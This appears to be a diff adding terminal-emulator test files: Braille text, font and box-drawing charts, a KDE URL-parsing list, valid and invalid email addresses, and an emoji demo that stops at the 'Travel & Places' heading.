⠪⠝ ⠅⠝⠪⠇⠫⠛⠑⠂ ⠱⠁⠞ ⠹⠻⠑ ⠊⠎ ⠏⠜⠞⠊⠊⠥⠇⠜⠇⠹ ⠙⠑⠁⠙ ⠁⠃⠳⠞
⠁ ⠙⠕⠕⠗⠤⠝⠁⠊⠇⠲ ⡊ ⠍⠊⠣⠞ ⠙⠁⠧⠑ ⠃⠑⠲ ⠔⠊⠇⠔⠫⠂ ⠍⠹⠎⠑⠇⠋⠂ ⠞⠕
⠗⠑⠛⠜⠙ ⠁ ⠊⠕⠋⠋⠔⠤⠝⠁⠊⠇ ⠁⠎ ⠹⠑ ⠙⠑⠁⠙⠑⠌ ⠏⠊⠑⠊⠑ ⠕⠋ ⠊⠗⠕⠝⠍⠕⠝⠛⠻⠹
⠔ ⠹⠑ ⠞⠗⠁⠙⠑⠲ ⡃⠥⠞ ⠹⠑ ⠺⠊⠎⠙⠕⠍ ⠕⠋ ⠳⠗ ⠁⠝⠊⠑⠌⠕⠗⠎
⠊⠎ ⠔ ⠹⠑ ⠎⠊⠍⠊⠇⠑⠆ ⠁⠝⠙ ⠍⠹ ⠥⠝⠙⠁⠇⠇⠪⠫ ⠙⠁⠝⠙⠎
⠩⠁⠇⠇ ⠝⠕⠞ ⠙⠊⠌⠥⠗⠃ ⠊⠞⠂ ⠕⠗ ⠹⠑ ⡊⠳⠝⠞⠗⠹⠰⠎ ⠙⠕⠝⠑ ⠋⠕⠗⠲ ⡹⠳
⠺⠊⠇⠇ ⠹⠻⠑⠋⠕⠗⠑ ⠏⠻⠍⠊⠞ ⠍⠑ ⠞⠕ ⠗⠑⠏⠑⠁⠞⠂ ⠑⠍⠏⠙⠁⠞⠊⠊⠁⠇⠇⠹⠂ ⠹⠁⠞
⡍⠜⠇⠑⠹ ⠺⠁⠎ ⠁⠎ ⠙⠑⠁⠙ ⠁⠎ ⠁ ⠙⠕⠕⠗⠤⠝⠁⠊⠇⠲
(The first couple of paragraphs of "A Christmas Carol" by Dickens)
Compact font selection example text:
ABCDEFGHIJKLMNOPQRSTUVWXYZ /0123456789
abcdefghijklmnopqrstuvwxyz £©µÀÆÖÞßéöÿ
–—‘“”„†•…‰™œŠŸž€ ΑΒΓΔΩαβγδω АБВГДабвгд
∀∂∈ℝ∧∪≡∞ ↑↗↨↻⇣ ┐┼╔╘░►☺♀ fi⑀₂ἠḂӥẄɐː⍎אԱა
Greetings in various languages:
Hello world, Καλημέρα κόσμε, コンニチハ
Box drawing alignment tests: █
╔══╦══╗ ┌──┬──┐ ╭──┬──╮ ╭──┬──╮ ┏━━┳━━┓ ┎┒┏┑ ╷ ╻ ┏┯┓ ┌┰┐ ▊ ╱╲╱╲╳╳╳
║┌─╨─┐║ │╔═╧═╗│ │╒═╪═╕│ │╓─╁─╖│ ┃┌─╂─┐┃ ┗╃╄┙ ╶┼╴╺╋╸┠┼┨ ┝╋┥ ▋ ╲╱╲╱╳╳╳
║│╲ ╱│║ │║ ║│ ││ │ ││ │║ ┃ ║│ ┃│ ╿ │┃ ┍╅╆┓ ╵ ╹ ┗┷┛ └┸┘ ▌ ╱╲╱╲╳╳╳
╠╡ ╳ ╞╣ ├╢ ╟┤ ├┼─┼─┼┤ ├╫─╂─╫┤ ┣┿╾┼╼┿┫ ┕┛┖┚ ┌┄┄┐ ╎ ┏┅┅┓ ┋ ▍ ╲╱╲╱╳╳╳
║│╱ ╲│║ │║ ║│ ││ │ ││ │║ ┃ ║│ ┃│ ╽ │┃ ░░▒▒▓▓██ ┊ ┆ ╎ ╏ ┇ ┋ ▎
║└─╥─┘║ │╚═╤═╝│ │╘═╪═╛│ │╙─╀─╜│ ┃└─╂─┘┃ ░░▒▒▓▓██ ┊ ┆ ╎ ╏ ┇ ┋ ▏
╚══╩══╝ └──┴──┘ ╰──┴──╯ ╰──┴──╯ ┗━━┻━━┛ ▗▄▖▛▀▜ └╌╌┘ ╎ ┗╍╍┛ ┋ ▁▂▃▄▅▆▇█
▝▀▘▙▄▟
@@ -0,0 +1,142 @@
Single width, hollow.
┌─┐ )0lqk
│ │ )0x x
└─┘ )0mqj
┌─┐
│ │
└─┘
Single width, single fill.
┌┬┐ )0lwk
├┼┤ )0tnu
└┴┘ )0mvj
┌┬┐
├┼┤
└┴┘
Double width, hollow.
┏━┓ )0 
┃ ┃ )0 
┗━┛ )0 
╔═╗
║ ║
╚═╝
Double width, double fill.
┏┳┓ )0 
┣╋┫ )0 
┗┻┛ )0 
╔╦╗
╠╬╣
╚╩╝
Double width, single fill.
┏┯┓ )0 
┠┼┨ )0 n 
┗┷┛ )0 
╔╤╗
╟┼╢
╚╧╝
Single width, double fill.
┌┰┐ )0l k
┝╋┥ )0 
└┸┘ )0m j
┌╥┐
╞╬╡
└╨┘
Single width, mixed fill (double horizontal, single vertical).
┌┬┐ )0lwk
┝┿┥ )0 
└┴┘ )0mvj
┌┬┐
╞╪╡
└┴┘
Double width, mixed fill (double vertical, single horizontal).
┏┳┓ )0 
┠╂┨ )0 
┗┻┛ )0 
╔╦╗
╟╫╢
╚╩╝
Double horizontal, single vertical.
┍┑
┕┙
╒╕
╘╛
Double vertical, single horizontal.
┎┒
┖┚
╓╖
╙╜
Single width, double, triple and quadruple dash.
┌╌╌┐ ┌┄┄┐ ┌┈┈┐
╎ ╎ ┆ ┆ ┊ ┊
╎ ╎ ┆ ┆ ┊ ┊
└╌╌┘ └┄┄┘ └┈┈┘
Double width, double, triple and quadruple dash.
┏╍╍┓ ┏┅┅┓ ┏┉┉┓
╏ ╏ ┇ ┇ ┋ ┋
╏ ╏ ┇ ┇ ┋ ┋
┗╍╍┛ ┗┅┅┛ ┗┉┉┛
One single, two double lines meet.
┢┪ ┲┱
┡┩ ┺┹
One double, two single lines meet.
┞┦ ┭┮
┟┧ ┵┶
One single, three double lines meet.
╇ ╉╊
One double, three single lines meet.
╁ ┾┽
Two double, two single lines meet.
╆╅
╄╃
Mixed width, starting, ending and changing width mid-character.
╷ ╻ ╶╼╸
╽ ╿ ╺╾╴
╹ ╵
Rounded.
╭─╮
│ │
╰─╯
Other.
Block elements.
▐ ▌ ▛▀#▀▜
▄▞▀ ▗▄▀▘ ▌▗▄▖▐
▌ ▐ #▐#▌#
▀▚▄ ▝▀▄▖ ▌▝▀▘▐
▐ ▌ ▙▄#▄▟
▁▂▃▄▅▆▇█ ▖# ▗#
▉ ▌# ▐#
▔▇ ▊ ▐# ▌#
▋ ▝# ▘#
░ ▌
▒░ ▍ ▌# ▐#
▓▒░ ▉ ▎ ▚# ▞#
█▓▒░ ▕ ▏ ▐# ▌#
VT-102: https://vt100.net/docs//vt102-ug/contents.html
Unicode: https://www.unicode.org/charts/PDF/U2500.pdf
and https://www.unicode.org/charts/PDF/U2580.pdf
@@ -0,0 +1,314 @@
# Taken from KDE kdelibs test file
# cat this file to test underline/copy/paste/etc
# resize the terminal to test edges
# This should be cleaned up to have only 1 of each 'test' and seperate into
# passing and failing.
# email links at bottom
FILE://localhost/home/root
audiocd:/By%20Name/15%20Geantra%C3%AE.wav
audiocd:/By%20Name/15%252FGeantra%C3%AE.wav
data:text/plain,foobar?gazonk=flarp
donkey://abc/DE
error:/?error=14&errText=Unknown%20host%20asdfu.adgi.sdfgoi#http://asdfu.adgi.sdfgoi
xasde@kde.org
file:%2Ftmp%2Fkde-ogoffart%2Fkmail
file:/
file://%1/Mat%C3%A9riel
file:///
file:///blah
file:///c:/foo%3Fbar
file:///c:/home/dxasde/my#%2f
file:///foo%3Fbar
file:///home/%C6%C7%CE7
file:///home/%D1%84%D0%B3%D0%BD7
file:///home/andreas/t%C3%A4st
file:///home/dxasde/
file:///home/dxasde/..//foo
file:///home/dxasde/cdrdao-1.1.5/dao/#CdrDriver.cc#
file:///home/dxasde/file.txt
file:///home/dxasde/konq tests/Matériel#ref
file:///home/dxasde/konq tests/Matériel?query
file:///home/dxasde/konq%20tests/Mat%C3%A9riel#ref
file:///home/dxasde/konq%20tests/Mat%C3%A9riel?query
file:///home/dxasde/konqtests/Mat%C3%A9riel
file:///home/dxasde/konqtests/Matériel
file:///home/dxasde/my#%23
file:///home/dxasde/my#%2f
file:///home/dxasde/my#%6a
file:///home/dxasde/my#/
file:///home/dxasde/my%20tar%20file.tgz
file:///home/dxasde/my%20tar%20file.tgz#gzip:/#tar:/
file:///home/dxasde/my%20tar%20file.tgz#gzip:/#tar:/#myref
file:///home/dxasde/my%20tar%20file.tgz#gzip:/#tar:/README
file:///home/dxasde/my%20tar%20file.tgz#gzip:/%23tar:/%23myref
file:///home/dxasde/my%20tar%20file.tgz#myref
file:///home/dxasde/myfile
file:///home/dxasde/mynewdir
file:///home/dxasde/mynewdir/subdir
file:///home/dxasde/mynewdir/subdir/foo/
file:///home/dxasde/myotherfile.txt
file:///home/root
file:///home/test/directory with spaces
file:///home/test/directory%20with%20spaces
file:///my/file
file:///opt/kde2/qt2/doc/html/
file:///opt/kde2/qt2/doc/html/showimg-main-cpp.html#QObject::connect
file:///opt/kde2/qt2/doc/html/showimg-main-cpp.html#QObject:connect
file:///specials/
file:///tmp/%E9%AD%94
file:///tmp/魔
file:///usr/local/src/kde2/////kdebase/konqueror
file:///usr/local/src/kde2/////kdelibs/kio
file://localhost/my/file
file://www.kde.org/my/file
file:/home/dxasde/cdrdao-1.1.5/dao/#CdrDriver.cc#
file:/home/dxasde/my%20tar%20file.tgz#gzip:/#tar:/
file:/home/dxasde/my%20tar%20file.tgz#gzip:/#tar:/#myref
file:/home/dxasde/my%20tar%20file.tgz#gzip:/#tar:/README
file:/home/dxasde/myolddir/
file:/home/test/directory%20with%20spaces
file:/opt/kde2/qt2/doc/html/showimg-main-cpp.html#QObject::connect
file:/opt/kde2/qt2/doc/html/showimg-main-cpp.html#QObject:connect
file:/specials/Print
file:/usr/local/src/kde2/////kdelibs/kio
file:/usr/local/src/kde2/kdelibs/kio/
fish://foo/%23README%23
ftp
ftp:
ftp://:password@ftp.kde.org/path
ftp://ftp.kde.org/path
ftp://ftp.kde.org/pub
ftp://host/dir1/dir2/myfile.txt
ftp://user%40host.com@ftp.host.com/
ftp://user%40host.com@ftp.host.com/var/
ftp://user%40host.com@ftp.host.com/var/www/
ftp://user:password@ftp.kde.org/path
ftp://user@ftp.kde.org/path
gzip:/
gzip:/#myref
host.com
http://%C3%A4.de
http://%E1.foo.de
http://:80
http://[::FFFF:129.144.52.38]:81/index.html
http://[::ffff:129.144.52.38]#ref
http://[::ffff:129.144.52.38]/cgi/test.cgi
http://[::ffff:129.144.52.38]:81#ref
http://[::ffff:129.144.52.38]:81/index.html
http://[::ffff:129.144.52.38]:81?query
http://[::ffff:129.144.52.38]?query
http://[strange;hostname]/
http://\303\244.de
http://a.b.c/äöu
http://a:389#b=c
http://a:389?b=c
http://alain.knaff.linux.lu/bug-reports/kde/percentage%25in%25url.html
http://alain.knaff.linux.lu/bug-reports/kde/spaces in url.html
http://alain.knaff.linux.lu/bug-reports/kde/spaces%20in%20url.html
http://xasde:pass@www.kde.org/bleh/
http://xasde:pass@www.kde.org:81?query
http://xasde@www.kde.org
http://xasxasdww.kde.org/filename.html
http://ferret.lmh.ox.ac.uk/%7Ekdecvs/
http://ferret.lmh.ox.ac.uk/~kdecvs/
http://foo.bar/~slajsjdlsjd/test.html
http://google.com/c?c=Translation+%C2%BB+trunk%7C
http://google.com/c?c=Translation+%C2%BB+trunk|
http://host.net/path/#no-query
http://host.net/path/?#http://broken-adsfk-poij31-029mu-2890zupyc-*!*'O-+-0i
http://host.net/path?myfirstquery#andsomeReference
http://kde.org/?a=test%C2%A0foo%A0%A0%A0%A0bar
http://kde.org/a%E2%81%84b
http://localhost/?a=foo%0A%0Abar%20baz&b=foo%0Abar%21%3F
http://mail.yandex.ru/message_part/%D0%9A%D1%80%D0%B8%D1%82%D0%B5%D1%80%D0%B8%D0%B8%20%D0%BE%D1%86%D0%B5%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%20%D0%BE%D1%80%D0%BB%D0%BE%D0%B2%D0%BE%D0%B9.rar?hid=1.1&mid=391.56424458.99241672611486679803334485488&name=%D0%9A%D1%80%D0%B8%D1%82%D0%B5%D1%80%D0%B8%D0%B8%20%D0%BE%D1%86%D0%B5%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%20%D0%BE%D1%80%D0%BB%D0%BE%D0%B2%D0%BE%D0%B9.rar
http://meine.db24.de#link=home_c_login_login
http://meine.db24.de?link=home_c_login_login
http://mlc:80/
http://server.com/dir/
http://server.com/dir/blubb/
http://server.com/dir/blubb/blah/
http://slashdot.org/~RAMMS%2BEIN/
http://slashdot.org/~RAMMS+EIN/
http://some.host.net/path/to/file#foo?bar
http://some.host.net/path/to/file#fragmentPrecedes?theQuery
http://something/newpage.html?%5B%7B%22foo:%20bar%22%7D%5D
http://something/newpage.html?[{\
http://something/other.html
http://strange;username:password@hostname/
http://strange;username:password@strange;hostname/
http://strange<hostname>/
http://strange<username>@hostname/
http://strange<username>@strange<hostname>/
http://thisisaverylongusername@foobar.com/
http://translate.google.com/translate_t#en%7Cuk%7Cdemo
http://translate.google.com/translate_t#en|uk|demo
http://waba:pass@[::FFFF:129.144.52.38]:81/index.html
http://asdfo%2Fasdfian@www.website.com/directory/filename?bla#blub
http://asdfo@www.website.com/directory/filename?bla#blub
http://www.Abc.de/FR
http://www.abc.de
http://www.calorieking.com/foo.php?P0=[2006-3-8]
http://www.calorieking.com/personal/diary/
http://www.calorieking.com/personal/diary/rpc.php?C=jsrs1&F=getDiaryDay&P0=[2006-3-8]&U=1141858921458
http://www.clever-tanken.de/liste.asp?ort=N%FCrnberg&typ=Diesel
http://www.foo.bar
http://www.foo.bar/foo/bar%0Agnork
http://www.foo.bar/foo/bar\ngnork
http://www.foo.bar/foo?bar%0Agnork
http://www.foo.bar/foo?bar\ngnork
http://www.foo.bar/top//test1/file.html
http://www.foo.bar/top//test2/file2.html
http://www.foo.bar:80
http://www.foobar.com/
http://www.google.com%20%20%20%20%20@foobar.com/
http://www.google.com/foo%20%20%20%20%20%20%20bar/
http://www.google.com/foo%20bar/
http://www.google.de/search?q=frerich&hlx=xx&hl=de&empty=&lr=lang+de&test=%2B%20%3A%25
http://www.kde.org
http://www.kde.org#
http://www.kde.org/bleh/
http://www.kde.org/cgi/qurl.cgi?hello=My Value
http://www.kde.org/cgi/qurl.cgi?hello=My%20Value
http://www.kde.org/cgi/test.cgi
http://www.kde.org/cgi/test.cgi#
http://www.kde.org/cgi/test.cgi?
http://www.kde.org/cgi/test.cgi?hello:My Value
http://www.kde.org/cgi/test.cgi?hello:My%20Value
http://www.kde.org/cgi/test.cgi?hello=My Value
http://www.kde.org/cgi/test.cgi?hello=My Value+20
http://www.kde.org/cgi/test.cgi?hello=My%20Value
http://www.kde.org/cgi/test.cgi?hello=My%20Value+20
http://www.kde.org/foo.cgi
http://www.kde.org/foo.cgi#
http://www.kde.org/foo.cgi#foo=bar
http://www.kde.org/foo.cgi?foo=bar
http://www.kde.org/home/%andreas
http://www.kde.org/home/andreas/t%C3%A4st
http://www.kde.org/home/andreas/täst
http://www.kde.org/home/kde?foobar#test
http://www.kde.org/relative.html
http://www.kde.org/subdir
http://www.kde.org?
http://www.sejlsport.dk/Pr%F8v%20noget%20nyt%20dokumenter.pdf
http://www.sejlsport.dk/graphics/ds/DSUngdom/PDF/Pr%F8v noget nyt dokumenter/Invitation_Kerteminde_11.07.08.pdf
http://www.sejlsport.dk/graphics/ds/DSUngdom/PDF/Pr%F8v%20noget%20nyt%20dokumenter/Invitation_Kerteminde_11.07.08.pdf
http://www.website.com/directory/?hello#
http://www.website.com/directory/?hello#%72%22method
http://www.website.com/directory/?hello#ref
http://www.website.com/directory/?query=test&name=harry
http://www.website.com/directory/down/relative.html
http://www.website.com/directory/filename?bla#blub
http://www.website.com/directory/filename?query=test&name=harry
http://www.website.com/directory/relative.html
http://www.website.com/directory/relative.html#with_reference
http://www.website.com/directory/relative.html?name=harry
http://www.website.com/directory/relative.html?name=harry&age=18
http://www.website.com/directory/relative.html?name=harry&age=18&age=21
http://www.website.com/directory/relative.html?name=harry&age=18&age=21&fullname=Harry%20Potter
http://www.website.com/directory/relative.html?query=test&name=harry
http://www.website.com/down/relative.html
http://www.website.com/relative.html
http://www.yahoo.org
http://www.youtube.com/?v=JvOSnRD5aNk
http://www1.foo.bar
http://xn--4ca.de
http://xn--80a.foo.de
https://swww.gad.de:443/servlet/CookieAccepted?MAIL=s@gad.de&VER=25901
https://asdfo%2Fbastian:pass@web.com:881/foo/?bla
javascript:doSomething()
javascript:window.location+\
ldap://host.com:6666/o=University%20of%20Michigan,c=US??sub?(cn=Babs%20Jensen)
ldap://host.com:6666/o=University%20of%20Michigan,c=US??sub?(cn=Karl%20Marx)
mailto
mailto:
mailto:asdfd adfds <adfdd@kde.org>
mailto:User@Host.COM?subject=Hello
mailto:xabce@kde.org
mailto:null@kde.org?subject=hello
mailto:null@kde.org?subject=hello#world
mailto:test[at]gmail[dot]com
mailto:user@host.com
print:/specials/
print:/specials/Print%20To%20File%20(PDF%252FAcrobat)
ptal://mlc:usb
ptal://mlc:usb:PC_970
remote:/
remote://
smb:///
smb://domain;username:password@server/share
smb://host
ssh://user@machine?cmd='echo $HOSTNAME'
tar:/#myref
tar:/README
trash:/été
www1.foo.bar
xmpp:ogoffart@kde.org
"'https://en.wikipedia.org/wiki/Earths_rotation'"
"'https://en.wikipedia.org/wiki/Earth's_rotation'"
'https://en.wikipedia.org/wiki/Earths_rotation'
"https://en.wikipedia.org/wiki/Earth's_rotation"
# testing edge cases - if 80 columns
http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harryhttp://www.website.com/directory/relative.html?query=test&name=harry
--------------
http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry
--------------
http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry
--------------
http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry
--------------
http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry http://www.website.com/directory/relative.html?query=test&name=harry
# http://codefool.tumblr.com/post/15288874550/list-of-valid-and-invalid-email-addresses
List of Valid Email Addresses
# Added spaces to double-check if links are found correctly
email@example.com email@example.com
firstname.lastname@example.com firstname.lastname@example.com
email@subdomain.example.com email@subdomain.example.com
firstname+lastname@example.com firstname+lastname@example.com
email@123.123.123.123 email@123.123.123.123
email@[123.123.123.123] email@[123.123.123.123]
“email”@example.com “email”@example.com
1234567890@example.com 1234567890@example.com
email@example-one.com email@example-one.com
_______@example.com _______@example.com
email@example.name email@example.name
email@example.museum email@example.museum
email@example.co.jp email@example.co.jp
firstname-lastname@example.com firstname-lastname@example.com
List of Strange Valid Email Addresses
much.“more\ unusual”@example.com
very.unusual.“@”.unusual.com@example.com
very.“(),:;<>[]”.VERY.“very@\\ "very”.unusual@strange.example.com
List of Invalid Email Addresses
plainaddress
#@%^%#$@#$@#.com
@example.com
Joe Smith <email@example.com>
email.example.com
email@example@example.com
.email@example.com
email.@example.com
email..email@example.com
あいうえお@example.com
email@example.com (Joe Smith)
email@example
email@-example.com
email@example.web
email@111.222.333.44444
email@example..com
Abc..123@example.com
List of Strange Invalid Email Addresses
“(),:;<>[\]@example.com
just"not"right@example.com
this\ is"really"not\allowed@example.com
@@ -0,0 +1,2 @@
ཧྐྵྨླྺྼྻྂ
@@ -0,0 +1,35 @@
# https://eosrei.github.io/emojione-color-font/full-demo.html
New in Unicode 9.0
Requires EmojiOne Color V1.1 or better.
🤣 🤠 🤡 🤥 🤤 🤢 🤧 🤴 🤶 🤵 🤷 🤦 🤰 🕺 🤳 🤞 🤙 🤛 🤜 🤚 🤝 🖤 🦍 🦊 🦌 🦏 🦇 🦅 🦆 🦉 🦎 🦈 🦐 🦑 🦋 🥀 🥝 🥑 🥔 🥕 🥒 🥜 🥐 🥖 🥞 🥓 🥙 🥚 🥘 🥗 🥛 🥂 🥃 🥄 🛑 🛴 🛵 🛶 🥇 🥈 🥉 🥊 🥋 🤸 🤼 🤽 🤾 🤺 🥅 🤹 🥁 🛒
Smileys & People
😀 😬 😁 😂 😃 😄 😅 😆 😇 😉 😊 🙂 🙃 ☺️ 😋 😌 😍 😘 😗 😙 😚 😜 😝 😛 🤑 🤓 😎 🤗 😏 😶 😐 😑 😒 🙄 🤔 😳 😞 😟 😠 😡 😔 😕 🙁 ☹️ 😣 😖 😫 😩 😤 😮 😱 😨 😰 😯 😦 😧 😢 😥 😪 😓 😭 😵 😲 🤐 😷 🤒 🤕 😴 💤 💩 😈 👿 👹 👺 💀 👻 👽 🤖 😺 😸 😹 😻 😼 😽 🙀 😿 😾 🙌 👏 👋 👍 👊 ✊ ✌️ 👌 ✋ 💪 🙏 ☝️ 👆 👇 👈 👉 🖕 🤘 🖖 ✍️ 💅 👄 👅 👂 👃 👁 👀 👤 🗣 👶 👦 👧 👨 👩 👱 👴 👵 👲 👳 👮 👷 💂 🕵 🎅 👼 👸 👰 🚶 🏃 💃 👯 👫 👬 👭 🙇 💁 🙅 🙆 🙋 🙎 🙍 💇 💆 💑 👩‍❤️‍👩 👨‍❤️‍👨 💏 👩‍❤️‍💋‍👩 👨‍❤️‍💋‍👨 👪 👨‍👩‍👧 👨‍👩‍👧‍👦 👨‍👩‍👦‍👦 👨‍👩‍👧‍👧 👩‍👩‍👦 👩‍👩‍👧 👩‍👩‍👧‍👦 👩‍👩‍👦‍👦 👩‍👩‍👧‍👧 👨‍👨‍👦 👨‍👨‍👧 👨‍👨‍👧‍👦 👨‍👨‍👦‍👦 👨‍👨‍👧‍👧 👚 👕 👖 👔 👗 👙 👘 💄 💋 👣 👠 👡 👢 👞 👟 👒 🎩 ⛑ 🎓 👑 🎒 👝 👛 👜 💼 👓 🕶 💍 🌂
Pale Emojis - Fitzpatrick Skin Type 1-2 🏻
👦🏻 👧🏻 👨🏻 👩🏻 👴🏻 👵🏻 👶🏻 👱🏻 👮🏻 👲🏻 👳🏻 👷🏻 👸🏻 💂🏻 🎅🏻 👼🏻 💆🏻 💇🏻 👰🏻 🙍🏻 🙎🏻 🙅🏻 🙆🏻 💁🏻 🙋🏻 🙇🏻 🙌🏻 🙏🏻 🚶🏻 🏃🏻 💃🏻 💪🏻 👈🏻 👉🏻 ☝️🏻 👆🏻 🖕🏻 👇🏻 ✌️🏻 🖖🏻 🤘🏻 🖐🏻 ✊🏻 ✋🏻 👊🏻 👌🏻 👍🏻 👎🏻 👋🏻 👏🏻 👐🏻 ✍🏻 💅🏻 👂🏻 👃🏻 🚣🏻 🛀🏻 🏄🏻 🏇🏻 🏊🏻 ⛹🏻 🏋🏻 🚴🏻 🚵🏻
Cream White Emojis - Fitzpatrick Skin Type 3 🏼
👦🏼 👧🏼 👨🏼 👩🏼 👴🏼 👵🏼 👶🏼 👱🏼 👮🏼 👲🏼 👳🏼 👷🏼 👸🏼 💂🏼 🎅🏼 👼🏼 💆🏼 💇🏼 👰🏼 🙍🏼 🙎🏼 🙅🏼 🙆🏼 💁🏼 🙋🏼 🙇🏼 🙌🏼 🙏🏼 🚶🏼 🏃🏼 💃🏼 💪🏼 👈🏼 👉🏼 ☝️🏼 👆🏼 🖕🏼 👇🏼 ✌️🏼 🖖🏼 🤘🏼 🖐🏼 ✊🏼 ✋🏼 👊🏼 👌🏼 👍🏼 👎🏼 👋🏼 👏🏼 👐🏼 ✍🏼 💅🏼 👂🏼 👃🏼 🚣🏼 🛀🏼 🏄🏼 🏇🏼 🏊🏼 ⛹🏼 🏋🏼 🚴🏼 🚵🏼
Moderate Brown Emojis - Fitzpatrick Skin Type 4 🏽
👦🏽 👧🏽 👨🏽 👩🏽 👴🏽 👵🏽 👶🏽 👱🏽 👮🏽 👲🏽 👳🏽 👷🏽 👸🏽 💂🏽 🎅🏽 👼🏽 💆🏽 💇🏽 👰🏽 🙍🏽 🙎🏽 🙅🏽 🙆🏽 💁🏽 🙋🏽 🙇🏽 🙌🏽 🙏🏽 🚶🏽 🏃🏽 💃🏽 💪🏽 👈🏽 👉🏽 ☝️🏽 👆🏽 🖕🏽 👇🏽 ✌️🏽 🖖🏽 🤘🏽 🖐🏽 ✊🏽 ✋🏽 👊🏽 👌🏽 👍🏽 👎🏽 👋🏽 👏🏽 👐🏽 ✍🏽 💅🏽 👂🏽 👃🏽 🚣🏽 🛀🏽 🏄🏽 🏇🏽 🏊🏽 ⛹🏽 🏋🏽 🚴🏽 🚵🏽
Dark Brown Emojis - Fitzpatrick Skin Type 5 🏾
👦🏾 👧🏾 👨🏾 👩🏾 👴🏾 👵🏾 👶🏾 👱🏾 👮🏾 👲🏾 👳🏾 👷🏾 👸🏾 💂🏾 🎅🏾 👼🏾 💆🏾 💇🏾 👰🏾 🙍🏾 🙎🏾 🙅🏾 🙆🏾 💁🏾 🙋🏾 🙇🏾 🙌🏾 🙏🏾 🚶🏾 🏃🏾 💃🏾 💪🏾 👈🏾 👉🏾 ☝️🏾 👆🏾 🖕🏾 👇🏾 ✌️🏾 🖖🏾 🤘🏾 🖐🏾 ✊🏾 ✋🏾 👊🏾 👌🏾 👍🏾 👎🏾 👋🏾 👏🏾 👐🏾 ✍🏾 💅🏾 👂🏾 👃🏾 🚣🏾 🛀🏾 🏄🏾 🏇🏾 🏊🏾 ⛹🏾 🏋🏾 🚴🏾 🚵🏾
Darkest Brown Emojis - Fitzpatrick Skin Type 6 🏿
👦🏿 👧🏿 👨🏿 👩🏿 👴🏿 👵🏿 👶🏿 👱🏿 👮🏿 👲🏿 👳🏿 👷🏿 👸🏿 💂🏿 🎅🏿 👼🏿 💆🏿 💇🏿 👰🏿 🙍🏿 🙎🏿 🙅🏿 🙆🏿 💁🏿 🙋🏿 🙇🏿 🙌🏿 🙏🏿 🚶🏿 🏃🏿 💃🏿 💪🏿 👈🏿 👉🏿 ☝️🏿 👆🏿 🖕🏿 👇🏿 ✌️🏿 🖖🏿 🤘🏿 🖐🏿 ✊🏿 ✋🏿 👊🏿 👌🏿 👍🏿 👎🏿 👋🏿 👏🏿 👐🏿 ✍🏿 💅🏿 👂🏿 👃🏿 🚣🏿 🛀🏿 🏄🏿 🏇🏿 🏊🏿 ⛹🏿 🏋🏿 🚴🏿 🚵🏿
Animals ↦ Nature
🐶 🐱 🐭 🐹 🐰 🐻 🐼 🐨 🐯 🦁 🐮 🐷 🐽 🐸 🐙 🐵 🙈 🙉 🙊 🐒 🐔 🐧 🐦 🐤 🐣 🐥 🐺 🐗 🐴 🦄 🐝 🐛 🐌 🐞 🐜 🕷 🦂 🦀 🐍 🐢 🐠 🐟 🐡 🐬 🐳 🐋 🐊 🐆 🐅 🐃 🐂 🐄 🐪 🐫 🐘 🐐 🐏 🐑 🐎 🐖 🐀 🐁 🐓 🦃 🕊 🐕 🐩 🐈 🐇 🐿 🐾 🐉 🐲 🌵 🎄 🌲 🌳 🌴 🌱 🌿 ☘ 🍀 🎍 🎋 🍃 🍂 🍁 🌾 🌺 🌻 🌹 🌷 🌼 🌸 💐 🍄 🌰 🎃 🐚 🕸 🌎 🌍 🌏 🌕 🌖 🌗 🌘 🌑 🌒 🌓 🌔 🌚 🌝 🌛 🌜 🌞 🌙 ⭐️ 🌟 💫 ✨ ☄ ☀️ 🌤 ⛅️ 🌥 🌦 ☁️ 🌧 ⛈ 🌩 ⚡️ 🔥 💥 ❄️ 🌨 🔥 💥 ❄️ 🌨 ☃️ ⛄️ 🌬 💨 🌪 🌫 ☂️ ☔️ 💧 💦 🌊
Food & Drink
🍏 🍎 🍐 🍊 🍋 🍌 🍉 🍇 🍓 🍈 🍒 🍑 🍍 🍅 🍆 🌶 🌽 🍠 🍯 🍞 🧀 🍗 🍖 🍤 🍳 🍔 🍟 🌭 🍕 🍝 🌮 🌯 🍜 🍲 🍥 🍣 🍱 🍛 🍙 🍚 🍘 🍢 🍡 🍧 🍨 🍦 🍰 🎂 🍮 🍬 🍭 🍫 🍿 🍩 🍪 🍺 🍻 🍷 🍸 🍹 🍾 🍶 🍵 ☕️ 🍼 🍴 🍽
Activity and Sports
⚽️ 🏀 🏈 ⚾️ 🎾 🏐 🏉 🎱 ⛳️ 🏌 🏓 🏸 🏒 🏑 🏏 🎿 ⛷ 🏂 ⛸ 🏹 🎣 🚣 🏊 🏄 🛀 ⛹ 🏋 🚴 🚵 🏇 🕴 🏆 🎽 🏅 🎖 🎗 🏵 🎫 🎟 🎭 🎨 🎪 🎤 🎧 🎼 🎹 🎷 🎺 🎸 🎻 🎬 🎮 👾 🎯 🎲 🎰 🎳
Travel & Places
